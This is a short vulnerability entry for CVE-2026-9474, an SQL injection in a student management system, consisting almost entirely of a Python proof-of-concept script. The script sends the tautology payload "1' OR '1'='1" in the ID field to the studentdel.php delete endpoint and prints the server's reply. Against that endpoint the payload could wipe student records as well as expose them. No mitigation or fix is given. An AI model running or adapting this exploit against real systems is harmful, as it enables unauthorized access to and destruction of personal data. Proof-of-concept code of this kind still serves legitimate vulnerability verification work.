CVE-2026-9474 StudentManagementSystem SQL注入漏洞

import requests def check_sqli_vulnerability(target_url): """ Proof of Concept for CVE-2026-9474 This script tests the SQL injection vulnerability in the ID parameter. """ # Target endpoint based on the vulnerability description full_url = f"{target_url}/studentdel.php" # Payload to test SQL injection (e.g., logical OR condition) # This attempts to make the SQL query always return true payload = { "ID": "1' OR '1'='1" } try: print(f"[+] Sending payload to {full_url}...") response = requests.post(full_url, data=payload, timeout=10) # Check if the response indicates successful SQL execution or database error if response.status_code == 200: print("[+] Request sent successfully.") print("[!] Check the response body for database errors or unexpected data leakage.") print(f"Response snippet: {response.text[:200]}") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli_vulnerability(target)